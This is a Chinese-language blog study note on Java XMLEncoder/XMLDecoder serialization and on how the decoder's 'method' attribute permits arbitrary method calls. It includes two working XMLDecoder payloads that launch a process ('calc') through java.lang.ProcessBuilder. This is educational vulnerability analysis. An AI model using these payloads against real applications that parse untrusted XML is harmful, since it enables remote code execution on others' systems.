前言
Apex打爽了,该偶尔学点东西了,就先摸个鱼吧。
XMLEncoder
新建个项目,写个简单的测试类,看起来需要这个类有一个public的无参构造函数:
package org.example;
public class Test {
private String s;
public Test() {
this("");
}
public Test(String s) {
this.s = s;
}
public String getS() {
return this.s;
}
public void setS(String s) {
this.s = s;
}
@Override
public String toString() {
return "Test{" +
"s='" + s + '\'' +
'}';
}
}
然后XMLEncode一下:
XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("result.xml")));
e.writeObject(new Test("Hello,xml"));
e.close();
结果:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
<object class="org.example.Test">
<void property="s">
<string>Hello,xml</string>
</void>
</object>
</java>
看起来java标签代表版本,里面保存了反序列化时使用的类;object标签保存了序列化的类名;void保存了成员数据。
XMLDecoder
尝试一下反序列化:
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("result.xml")));
Object result = d.readObject();
System.out.println(result);
d.close();
结果:
Test{s='Hello,xml'}
去XMLDecoder的readObject函数看看,可以找到object标签解析器ObjectElementHandler和void标签解析器VoidElementHandler,其中ObjectElementHandler的处理函数addAttribute如下:
public final void addAttribute(String var1, String var2) {
if (var1.equals("idref")) {
this.idref = var2;
} else if (var1.equals("field")) {
this.field = var2;
} else if (var1.equals("index")) {
this.index = Integer.valueOf(var2);
this.addArgument(this.index);
} else if (var1.equals("property")) {
this.property = var2;
} else if (var1.equals("method")) {
this.method = var2;
} else {
super.addAttribute(var1, var2);
}
}
这里有一个很有意思的属性method,看起来可以用来调用任意函数:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<object method="start"/>
</object>
</java>
虽然没有标明命令所应该归属的属性名,但是XMLDecoder会执行默认的new操作,从而将其交予了ProcessBuilder对象的command属性:
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
此外,VoidElementHandler是ObjectElementHandler的子类,所以void标签可以用来替代object标签:
final class VoidElementHandler extends ObjectElementHandler {
VoidElementHandler() {
}
protected boolean isArgument() {
return false;
}
}
也就是说:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</void>
</java>
这样也是可以的。
array和new标签还可以代替class标签来创建对象。